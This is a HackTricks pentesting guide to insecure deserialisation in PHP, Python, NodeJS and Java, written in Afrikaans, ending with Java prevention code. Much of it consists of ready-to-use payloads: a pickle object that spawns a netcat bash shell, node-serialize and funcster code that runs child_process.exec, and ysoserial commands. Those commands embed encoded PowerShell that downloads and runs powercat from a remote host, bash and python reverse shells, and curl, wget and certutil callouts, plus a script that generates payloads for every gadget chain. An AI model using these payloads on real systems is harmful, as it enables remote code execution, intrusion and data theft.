Deserialisering
Reading time: 38 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
Serialisering word verstaan as die metode om 'n objek in 'n formaat te omskep wat bewaar kan word, met die doel om die objek te stoor of dit as deel van 'n kommunikasieproses oor te dra. Hierdie tegniek word algemeen gebruik om te verseker dat die objek op 'n later tydstip weer geskep kan word, terwyl sy struktuur en toestand behou word.
Deserialisering, aan die ander kant, is die proses wat serialisering teenwerk. Dit behels die neem van data wat in 'n spesifieke formaat gestruktureer is en dit weer in 'n objek te herbou.
Deserialisering kan gevaarlik wees omdat dit potensieel aanvallers toelaat om die geserialiseerde data te manipuleer om skadelike kode uit te voer of om onverwagte gedrag in die toepassing te veroorsaak tydens die objek herbou proses.
PHP
In PHP word spesifieke magiese metodes gebruik tydens die serialisering en deserialisering prosesse:
__sleep
: Word aangeroep wanneer 'n objek geserialiseer word. Hierdie metode moet 'n lys van die name van alle eienskappe van die objek wat geserialiseer moet word, teruggee. Dit word algemeen gebruik om hangende data te bevestig of soortgelyke skoonmaak take uit te voer.__wakeup
: Word genoem wanneer 'n objek gedeserialiseer word. Dit word gebruik om enige databasisverbindinge wat tydens serialisering verlore gegaan het, te hersteld en ander herinitialisering take uit te voer.__unserialize
: Hierdie metode word in plaas van__wakeup
(as dit bestaan) aangeroep wanneer 'n objek gedeserialiseer word. Dit bied meer beheer oor die deserialisering proses in vergelyking met__wakeup
.__destruct
: Hierdie metode word aangeroep wanneer 'n objek op die punt is om vernietig te word of wanneer die skrip eindig. Dit word tipies gebruik vir skoonmaak take, soos om lêerhandvatsels of databasisverbindinge te sluit.__toString
: Hierdie metode laat 'n objek toe om as 'n string behandel te word. Dit kan gebruik word om 'n lêer te lees of ander take gebaseer op die funksie-aanroepe binne dit, wat effektief 'n teksuele voorstelling van die objek bied.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
As jy na die resultate kyk, kan jy sien dat die funksies __wakeup
en __destruct
aangeroep word wanneer die objek gedeserialiseer word. Let daarop dat jy in verskeie tutorials sal vind dat die __toString
funksie aangeroep word wanneer daar probeer word om 'n attribuut te druk, maar blykbaar gebeur dit nie meer nie.
warning
Die metode __unserialize(array $data)
word in plaas van __wakeup()
aangeroep as dit in die klas geïmplementeer is. Dit stel jou in staat om die objek te deserialiseer deur die geserialiseerde data as 'n array te verskaf. Jy kan hierdie metode gebruik om eienskappe te deserialiseer en enige nodige take uit te voer tydens deserialisering.
class MyClass {
private $property;
public function __unserialize(array $data): void {
$this->property = $data['property'];
// Voer enige nodige take uit tydens deserialisering.
}
}
Jy kan 'n verduidelikende PHP voorbeeld hier lees: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, hier https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf of hier https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Deserial + Autoload Klassen
Jy kan die PHP autoload-funksionaliteit misbruik om arbitrêre php-lêers en meer te laai:
PHP - Deserialization + Autoload Classes
Serialisering van Verwysingswaardes
As jy om een of ander rede 'n waarde as 'n verwysing na 'n ander geserialiseerde waarde wil serialiseer, kan jy:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
PHPGGC (ysoserial vir PHP)
PHPGGC kan jou help om payloads te genereer om PHP deserialisasies te misbruik.
Let daarop dat jy in verskeie gevalle nie 'n manier sal kan vind om 'n deserialisasie in die bronnekode van die toepassing te misbruik nie, maar jy mag dalk die kode van eksterne PHP-uitbreidings kan misbruik.
So, as jy kan, kyk na die phpinfo()
van die bediener en soek op die internet (en selfs op die gadgets van PHPGGC) vir 'n moontlike gadget wat jy kan misbruik.
phar:// metadata deserialisasie
As jy 'n LFI gevind het wat net die lêer lees en nie die php-kode binne-in dit uitvoer nie, byvoorbeeld deur funksies soos file_get_contents(), fopen(), file() of file_exists(), md5_file(), filemtime() of filesize(). Jy kan probeer om 'n deserialisasie te misbruik wat plaasvind wanneer 'n lêer gelees word met die phar protokol.
Vir meer inligting, lees die volgende pos:
Python
Pickle
Wanneer die objek ontpikkel word, sal die funksie ___reduce___ uitgevoer word.
Wanneer dit misbruik word, kan die bediener 'n fout teruggee.
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
Voordat jy die omseil tegniek nagaan, probeer om print(base64.b64encode(pickle.dumps(P(),2)))
te gebruik om 'n objek te genereer wat versoenbaar is met python2 as jy python3 gebruik.
Vir meer inligting oor ontsnapping uit pickle jails kyk:
Yaml & jsonpickle
Die volgende bladsy bied die tegniek om 'n onveilige deserialisering in yamls python biblioteke te misbruik en eindig met 'n hulpmiddel wat gebruik kan word om RCE deserialisering payload te genereer vir Pickle, PyYAML, jsonpickle en ruamel.yaml:
Klassie Pollusie (Python Prototype Pollusie)
Class Pollution (Python's Prototype Pollution)
NodeJS
JS Magiese Funksies
JS het nie "magiese" funksies soos PHP of Python wat net geskep word om 'n objek te genereer nie. Maar dit het 'n paar funksies wat gereeld gebruik word selfs sonder om hulle direk aan te roep soos toString
, valueOf
, toJSON
.
As jy 'n deserialisering misbruik, kan jy hierdie funksies kompromitteer om ander kode uit te voer (potensieel prototype pollusies misbruik) en jy kan arbitrêre kode uitvoer wanneer hulle aangeroep word.
Nog 'n "magiese" manier om 'n funksie aan te roep sonder om dit direk aan te roep, is deur 'n objek te kompromitteer wat deur 'n async funksie (belofte) teruggegee word. Want, as jy daardie teruggegee objek in 'n ander belofte met 'n eienskap genaamd "then" van tipe funksie transformeer, sal dit uitgevoer word net omdat dit deur 'n ander belofte teruggegee word. Volg hierdie skakel vir meer inligting.
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}
async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__
en prototype
besoedeling
As jy meer oor hierdie tegniek wil leer kyk na die volgende tutoriaal:
NodeJS - proto & prototype Pollution
node-serialize
Hierdie biblioteek stel jou in staat om funksies te serialiseer. Voorbeeld:
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
Die geserialiseerde objek sal soos volg lyk:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
U kan in die voorbeeld sien dat wanneer 'n funksie geserialiseer word, die _$$ND_FUNC$$_
vlag by die geserialiseerde objek gevoeg word.
Binne die lêer node-serialize/lib/serialize.js
kan jy dieselfde vlag vind en hoe die kode dit gebruik.
Soos jy in die laaste stuk kode kan sien, as die vlag gevind word word eval
gebruik om die funksie te deserialiseer, so basies word gebruikersinvoer binne die eval
funksie gebruik.
Egter, net om 'n funksie te serialiseer sal dit nie uitvoer nie aangesien dit nodig sou wees dat 'n deel van die kode y.rce
aanroep in ons voorbeeld en dit is hoogs onwaarskynlik.
In elk geval, jy kan net die geserialiseerde objek wysig deur 'n paar hakies by te voeg om die geserialiseerde funksie outomaties uit te voer wanneer die objek gedeserialiseer word.
In die volgende stuk kode let op die laaste hakie en hoe die unserialize
funksie die kode outomaties sal uitvoer:
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)
Soos voorheen aangedui, sal hierdie biblioteek die kode na _$$ND_FUNC$$_
kry en dit uitvoer met behulp van eval
. Daarom, om kode outomaties uit te voer, kan jy die funksie skep deel en die laaste haakie verwyder en net 'n JS oneliner uitvoer soos in die volgende voorbeeld:
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
U kan hier vind verdere inligting oor hoe om hierdie kwesbaarheid te benut.
funcster
'n Opmerklike aspek van funcster is die ontoeganklikheid van standaard ingeboude voorwerpe; hulle val buite die toeganklike omvang. Hierdie beperking verhoed die uitvoering van kode wat probeer om metodes op ingeboude voorwerpe aan te roep, wat lei tot uitsonderings soos "ReferenceError: console is not defined"
wanneer opdragte soos console.log()
of require(something)
gebruik word.
Ten spyte van hierdie beperking, is dit moontlik om volle toegang tot die globale konteks, insluitend al standaard ingeboude voorwerpe, te herstel deur 'n spesifieke benadering. Deur die globale konteks direk te benut, kan 'n mens hierdie beperking omseil. Byvoorbeeld, toegang kan hersteld word met die volgende snit:
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)
Vir meer inligting lees hierdie bron.
serialize-javascript
Die serialize-javascript pakket is eksklusief ontwerp vir serialiseringdoeleindes, en het geen ingeboude deserialisering vermoëns nie. Gebruikers is verantwoordelik om hul eie metode vir deserialisering te implementeer. 'n Direkte gebruik van eval
word voorgestel deur die amptelike voorbeeld vir deserialisering van geserialiseerde data:
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
As hierdie funksie gebruik word om voorwerpe te deserialiseer, kan jy dit maklik misbruik:
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
Vir meer inligting lees hierdie bron.
Cryo biblioteek
In die volgende bladsye kan jy inligting vind oor hoe om hierdie biblioteek te misbruik om arbitrêre opdragte uit te voer:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
Java - HTTP
In Java, word deserialisering terugroepe uitgevoer tydens die proses van deserialisering. Hierdie uitvoering kan deur aanvallers uitgebuit word wat kwaadwillige payloads saamstel wat hierdie terugroepe aktiveer, wat lei tot potensiële uitvoering van skadelike aksies.
Vingerafdrukke
Wit Bok
Om potensiële serialisering kwesbaarhede in die kodebasis te identifiseer, soek vir:
- Klasse wat die
Serializable
-koppelvlak implementeer. - Gebruik van
java.io.ObjectInputStream
,readObject
,readUnshare
funksies.
Gee ekstra aandag aan:
XMLDecoder
wat gebruik word met parameters gedefinieer deur eksterne gebruikers.XStream
'sfromXML
metode, veral as die XStream weergawe minder as of gelyk aan 1.46 is, aangesien dit kwesbaar is vir serialisering probleme.ObjectInputStream
saam met diereadObject
metode.- Implementering van metodes soos
readObject
,readObjectNodData
,readResolve
, ofreadExternal
. ObjectInputStream.readUnshared
.- Algemene gebruik van
Serializable
.
Swart Bok
Vir swart bok toetsing, soek vir spesifieke handtekeninge of "Magic Bytes" wat java geserialiseerde voorwerpe aandui (wat afkomstig is van ObjectInputStream
):
- Heksadesimale patroon:
AC ED 00 05
. - Base64 patroon:
rO0
. - HTTP antwoordkoppe met
Content-type
gestel opapplication/x-java-serialized-object
. - Heksadesimale patroon wat vorige kompressie aandui:
1F 8B 08 00
. - Base64 patroon wat vorige kompressie aandui:
H4sIA
. - Web lêers met die
.faces
uitbreiding en diefaces.ViewState
parameter. Om hierdie patrone in 'n webtoepassing te ontdek, moet dit 'n ondersoek uitlok soos gedetailleerd in die plasing oor Java JSF ViewState Deserialisering.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
Kontroleer of kwesbaar
As jy wil leer hoe 'n Java Deserialized exploit werk, moet jy kyk na Basic Java Deserialization, Java DNS Deserialization, en CommonsCollection1 Payload.
Witdoos Toets
Jy kan kyk of daar enige toepassing geïnstalleer is met bekende kwesbaarhede.
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
U kan probeer om al die biblioteke wat bekend is as kwesbaar te kontroleer en waarvoor Ysoserial 'n ontploffing kan bied. Of u kan die biblioteke nagaan wat op Java-Deserialization-Cheat-Sheet aangedui is.
U kan ook gadgetinspector gebruik om moontlike gadget-kettings te soek wat ontplof kan word.
Wanneer u gadgetinspector (na dit gebou is) uitvoer, moenie omgee vir die ton waarskuwings/foute wat dit ondergaan nie en laat dit klaar maak. Dit sal al die bevindings onder gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt skryf. Let asseblief daarop dat gadgetinspector nie 'n ontploffing sal skep nie en dit mag vals positiewe aandui.
Swartdoos toets
Met die Burp-uitbreiding gadgetprobe kan u identifiseer watter biblioteke beskikbaar is (en selfs die weergawes). Met hierdie inligting kan dit makkelijker wees om 'n payload te kies om die kwesbaarheid te ontplof.
Lees dit om meer oor GadgetProbe te leer.
GadgetProbe is gefokus op ObjectInputStream
deserializations.
Met die Burp-uitbreiding Java Deserialization Scanner kan u kwesbare biblioteke identifiseer wat met ysoserial ontplof kan word en dit ontplof.
Lees dit om meer oor Java Deserialization Scanner te leer.
Java Deserialization Scanner is gefokus op ObjectInputStream
deserializations.
U kan ook Freddy gebruik om deserializations kwesbaarhede in Burp te detecteer. Hierdie plugin sal nie net ObjectInputStream
verwante kwesbaarhede opspoor nie, maar ook kwesbaarhede van Json en Yml deserialisatie biblioteke. In aktiewe modus sal dit probeer om dit te bevestig met behulp van slaap of DNS payloads.
U kan meer inligting oor Freddy hier vind.
Serialisering toets
Nie alles gaan oor die kontroleer of enige kwesbare biblioteek deur die bediener gebruik word nie. Soms kan u in staat wees om die data binne die geserialiseerde objek te verander en sommige kontroles te omseil (miskien u admin regte binne 'n webapp te gee).
As u 'n java geserialiseerde objek vind wat na 'n webtoepassing gestuur word, kan u SerializationDumper gebruik om die geserialiseerde objek wat gestuur word in 'n meer menslike leesbare formaat te druk. Om te weet watter data u stuur, sal dit makliker wees om dit te verander en sommige kontroles te omseil.
Ontploffing
ysoserial
Die hoofgereedskap om Java deserializations te ontplof is ysoserial (aflaai hier). U kan ook oorweeg om ysoseral-modified te gebruik wat u in staat sal stel om komplekse opdragte te gebruik (met pype byvoorbeeld).
Let daarop dat hierdie gereedskap gefokus is op die ontploffing van ObjectInputStream
.
Ek sou begin met die "URLDNS" payload voor 'n RCE payload om te toets of die inspuiting moontlik is. In elk geval, let daarop dat die "URLDNS" payload dalk nie werk nie, maar 'n ander RCE payload mag.
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
Wanneer jy 'n payload vir java.lang.Runtime.exec() skep, kan jy nie spesiale karakters soos ">" of "|" gebruik om die uitvoer van 'n uitvoering te herlei nie, "$()" om opdragte uit te voer of selfs argumente aan 'n opdrag deur spasies geskei te gee (jy kan echo -n "hello world"
doen, maar jy kan nie python2 -c 'print "Hello world"'
doen nie). Om die payload korrek te kodeer, kan jy hierdie webblad gebruik.
Voel vry om die volgende skrip te gebruik om alle moontlike kode-uitvoering payloads vir Windows en Linux te skep en dit dan op die kwesbare webblad te toets:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
Jy kan gebruik https://github.com/pwntester/SerialKillerBypassGadgetCollection saam met ysoserial om meer exploits te skep. Meer inligting oor hierdie hulpmiddel in die slides van die praatjie waar die hulpmiddel aangebied is: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec kan gebruik word om payloads te genereer om verskillende Json en Yml serialisering biblioteke in Java te exploiteer.
Om die projek te compileer, moes ek hierdie afhangklikhede by pom.xml
voeg:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
Installeer maven, en kompileer die projek:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
Lees meer oor hierdie Java JSON biblioteek: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
Labs
- As jy sommige ysoserial payloads wil toets, kan jy hierdie webapp uitvoer: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
Waarom
Java gebruik baie serialisering vir verskeie doeleindes soos:
- HTTP versoeke: Serialisering word wyd gebruik in die bestuur van parameters, ViewState, koekies, ens.
- RMI (Remote Method Invocation): Die Java RMI-protokol, wat heeltemal op serialisering staatmaak, is 'n hoeksteen vir afstandkommunikasie in Java-toepassings.
- RMI oor HTTP: Hierdie metode word algemeen gebruik deur Java-gebaseerde dik kliënt webtoepassings, wat serialisering vir alle objekkommunikasies benut.
- JMX (Java Management Extensions): JMX gebruik serialisering om objek te oordra oor die netwerk.
- Pasgemaakte Protokolle: In Java is die standaardpraktyk die oordrag van rou Java-objekte, wat in komende eksploitvoorbeelde demonstreer sal word.
Voorkoming
Transient objek
'n Klas wat Serializable
implementeer, kan enige objek binne die klas wat nie serialiseerbaar moet wees nie, as transient
implementeer. Byvoorbeeld:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Vermyde Serialisering van 'n klas wat Serializable
moet implementeer
In scenario's waar sekere objekte die Serializable
-koppelvlak moet implementeer weens klas hiërargie, is daar 'n risiko van onbedoelde deserialisering. Om dit te voorkom, verseker dat hierdie objekte nie-deserialiseerbaar is deur 'n final
readObject()
-metode te definieer wat konsekwent 'n uitsondering gooi, soos hieronder getoon:
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Verbetering van Deserialisering Sekuriteit in Java
Aanpassing van java.io.ObjectInputStream
is 'n praktiese benadering om deserialisering proses te beveilig. Hierdie metode is geskik wanneer:
- Die deserialisering kode is onder jou beheer.
- Die klasse wat verwag word vir deserialisering is bekend.
Oorheers die resolveClass()
metode om deserialisering tot slegs toegelate klasse te beperk. Dit voorkom deserialisering van enige klas behalwe dié wat eksplisiet toegelaat is, soos in die volgende voorbeeld wat deserialisering tot die Bicycle
klas beperk:
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
Gebruik van 'n Java Agent vir Sekuriteitsverbetering bied 'n terugvaloplossing wanneer kode-modifikasie nie moontlik is nie. Hierdie metode geld hoofsaaklik vir swartlys van skadelike klasse, met 'n JVM parameter:
-javaagent:name-of-agent.jar
Dit bied 'n manier om deserialisering dinamies te beveilig, ideaal vir omgewings waar onmiddellike kodeveranderinge onprakties is.
Kyk na 'n voorbeeld in rO0 by Contrast Security
Implementering van Serialisering Filters: Java 9 het serialisering filters bekendgestel via die ObjectInputFilter
koppelvlak, wat 'n kragtige mekanisme bied om kriteria spesifiek te maak waaraan serialiseerde objekte moet voldoen voordat dit gedeserialiseer word. Hierdie filters kan globaal of per stroom toegepas word, wat 'n fyn beheer oor die deserialisering proses bied.
Om serialisering filters te gebruik, kan jy 'n globale filter stel wat op alle deserialisering operasies van toepassing is of dit dinamies vir spesifieke strome konfigureer. Byvoorbeeld:
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
Benutting van Eksterne Biblioteke vir Verbeterde Sekuriteit: Biblioteke soos NotSoSerial, jdeserialize, en Kryo bied gevorderde funksies vir die beheer en monitering van Java deserialisering. Hierdie biblioteke kan addisionele lae van sekuriteit bied, soos die witlys of swartlys van klasse, die analise van geserialiseerde objekte voor deserialisering, en die implementering van pasgemaakte serialiseringstrategieë.
- NotSoSerial onderskep deserialiseringprosesse om die uitvoering van onbetroubare kode te voorkom.
- jdeserialize stel die analise van geserialiseerde Java-objekte in staat sonder om hulle te deserialiseer, wat help om potensieel kwaadwillige inhoud te identifiseer.
- Kryo is 'n alternatiewe serialiseringraamwerk wat fokus op spoed en doeltreffendheid, en bied konfigureerbare serialiseringstrategieë wat sekuriteit kan verbeter.
Verwysings
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- Deserialisering en ysoserial praat: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- Praat oor gadgetinspector: https://www.youtube.com/watch?v=wPbW6zQ52w8 en skyfies: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Marshalsec papier: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Java en .Net JSON deserialisering papier: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, praat: https://www.youtube.com/watch?v=oUAeWhW5b8c en skyfies: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- Deserialiserings CVEs: https://paper.seebug.org/123/
JNDI Inspuiting & log4Shell
Vind uit wat JNDI Inspuiting is, hoe om dit te misbruik via RMI, CORBA & LDAP en hoe om log4shell te ontgin (en 'n voorbeeld van hierdie kwesbaarheid) op die volgende bladsy:
JNDI - Java Naming and Directory Interface & Log4Shell
JMS - Java Boodskapdiens
